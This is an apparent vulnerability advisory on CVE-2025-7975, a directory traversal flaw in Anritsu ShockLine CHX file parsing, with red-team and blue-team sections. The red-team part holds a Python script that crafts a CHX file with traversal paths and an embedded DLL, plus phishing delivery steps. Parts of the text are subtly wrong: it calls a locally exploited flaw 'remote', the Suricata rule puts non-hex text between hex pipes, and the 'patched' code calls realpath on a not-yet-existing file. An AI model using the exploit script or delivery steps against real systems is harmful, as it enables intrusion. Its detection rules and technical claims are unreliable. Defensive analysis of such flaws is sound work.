CVE-2025-7975

Executive Summary

CVE-2025-7975 is a directory traversal vulnerability in Anritsu ShockLine CHX file parsing that enables remote code execution (RCE) under the context of the current user. The flaw stems from improper validation of user-supplied paths during CHX file processing, allowing an attacker to write or read arbitrary files on the filesystem. Exploitation requires user interaction—the target must open a malicious CHX file or visit a crafted page. With a CVSS score of 7.8 (High), this vulnerability poses a significant risk to test and measurement environments where ShockLine instruments are deployed. No public exploit code or patch is currently available, but the risk is elevated due to the potential for lateral movement within isolated lab networks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a proprietary hardware/software platform (Anritsu ShockLine) used in RF/microwave testing. Supply chain risk is limited to the distribution of malicious CHX files via email, USB, or shared network drives.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (requires user to open a file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. Although EPSS is 0.0%, the vulnerability allows full code execution with no privileges, making it attractive for targeted attacks against engineering workstations.

Deep Dive & Mechanics

The vulnerability resides in the CHX file parser of Anritsu ShockLine software. CHX files are used to store calibration data, test configurations, and measurement results. The parser fails to sanitize user-supplied paths embedded within the CHX file structure. By crafting a CHX file with directory traversal sequences (e.g., ../../), an attacker can force the application to write arbitrary files to arbitrary locations on the filesystem.

Attack Flow:

1. Attacker creates a malicious CHX file containing a path like ../../../../Users/Public/evil.dll.
2. The file also contains a payload (e.g., a DLL or script) that will be written to that path.
3. Victim opens the CHX file in ShockLine software.
4. The parser extracts the path and writes the payload to the attacker-specified location.
5. If the payload is a DLL, it can be loaded via DLL hijacking or scheduled task creation, leading to code execution.

The vulnerability is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). The lack of path validation allows an attacker to escape the intended data directory and write to system directories.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void parse_chx_file(const char* filename) {
    char dest_path[256];
    // Read path from CHX file without validation
    read_chx_field("OutputPath", dest_path, sizeof(dest_path));
    // Write data to that path
    FILE* f = fopen(dest_path, "wb");
    if (f) {
        fwrite(payload_data, 1, payload_size, f);
        fclose(f);
    }
}

Patched Code (Conceptual):

void parse_chx_file(const char* filename) {
    char dest_path[256];
    read_chx_field("OutputPath", dest_path, sizeof(dest_path));
    // Normalize and validate path
    char normalized[256];
    if (!realpath(dest_path, normalized)) {
        log_error("Invalid path");
        return;
    }
    // Ensure path is within allowed directory
    if (strncmp(normalized, ALLOWED_DATA_DIR, strlen(ALLOWED_DATA_DIR)) != 0) {
        log_error("Path traversal detected");
        return;
    }
    FILE* f = fopen(normalized, "wb");
    if (f) {
        fwrite(payload_data, 1, payload_size, f);
        fclose(f);
    }
}

The patched version uses realpath() to resolve symlinks and .. sequences, then checks that the resolved path starts with the allowed base directory.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Windows 10/11 VM with Anritsu ShockLine software installed (any version).
• Python 3.x for crafting malicious CHX files.
• A listener (e.g., Metasploit or custom shellcode) to receive the callback.

Exploit Steps:

1. Create a malicious CHX file using the following Python script:

import struct

def create_malicious_chx(output_path, payload_path):
    # CHX file header (simplified)
    header = b"CHX\x00\x01\x00\x00\x00"
    # Path field with traversal
    path_field = b"OutputPath=" + b"..\\..\\..\\Users\\Public\\" + payload_path.encode() + b"\x00"
    # Payload (e.g., a DLL)
    with open("payload.dll", "rb") as f:
        payload = f.read()
    # Write CHX file
    with open(output_path, "wb") as f:
        f.write(header)
        f.write(struct.pack("<I", len(path_field)))
        f.write(path_field)
        f.write(struct.pack("<I", len(payload)))
        f.write(payload)

create_malicious_chx("exploit.chx", "evil.dll")

2. Host the CHX file on a phishing site or send via email.
3. When the victim opens the file, the DLL is written to C:\Users\Public\evil.dll.
4. Use a separate mechanism (e.g., scheduled task, DLL side-loading) to execute the DLL.

Note: No public exploit code exists; this is a conceptual demonstration.

Blue Team

Detection Steps:

• Monitor for CHX file creation or modification in unusual locations (e.g., C:\Users\Public\, C:\Windows\Temp\).
• Enable file system auditing for writes to sensitive directories.
• Use AppLocker or WDAC to block execution of unsigned DLLs from user-writable paths.
• Train users not to open CHX files from untrusted sources.

Hunting Queries:

• Search for CHX files containing ..\ or ../ sequences.
• Look for processes (e.g., ShockLine.exe) writing to paths outside the application data directory.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_7975_Anritsu_CHX_Traversal {
    meta:
        description = "Detects malicious CHX files exploiting CVE-2025-7975 directory traversal"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7975"
    strings:
        $chx_header = "CHX"
        $path_traversal = /\.\.\\|\.\.\//
        $payload_marker = "MZ"  // PE header for DLL/EXE
    condition:
        $chx_header at 0 and $path_traversal and $payload_marker
}

Sigma Rule

title: Anritsu ShockLine CHX Directory Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects file writes by ShockLine.exe to paths outside the application data directory
author: Valters IT
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\ShockLine.exe'
        TargetFilename|contains:
            - 'C:\Users\Public\'
            - 'C:\Windows\Temp\'
            - '..\'
    condition: selection
falsepositives:
    - Legitimate CHX file exports to user-chosen paths
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7975 Anritsu ShockLine CHX Outbound C2"; flow:to_server,established; content:"|CHX|"; depth:3; content:"|2e 2e 5c|"; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate ShockLine instruments from untrusted networks.
2. Disable CHX file parsing if not required, or restrict to trusted sources only.
3. Implement file integrity monitoring (FIM) on directories where ShockLine writes data.
4. Apply the principle of least privilege to the ShockLine process (run as standard user).

Long-Term Fix:

• Await an official patch from Anritsu. Contact vendor support for status.
• If no patch is forthcoming, consider replacing the software with an alternative that properly validates file paths.

Workaround:

• Use a custom file system filter driver or Windows Defender Attack Surface Reduction (ASR) rules to block writes to C:\Users\Public\ and C:\Windows\Temp\ by ShockLine.exe.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst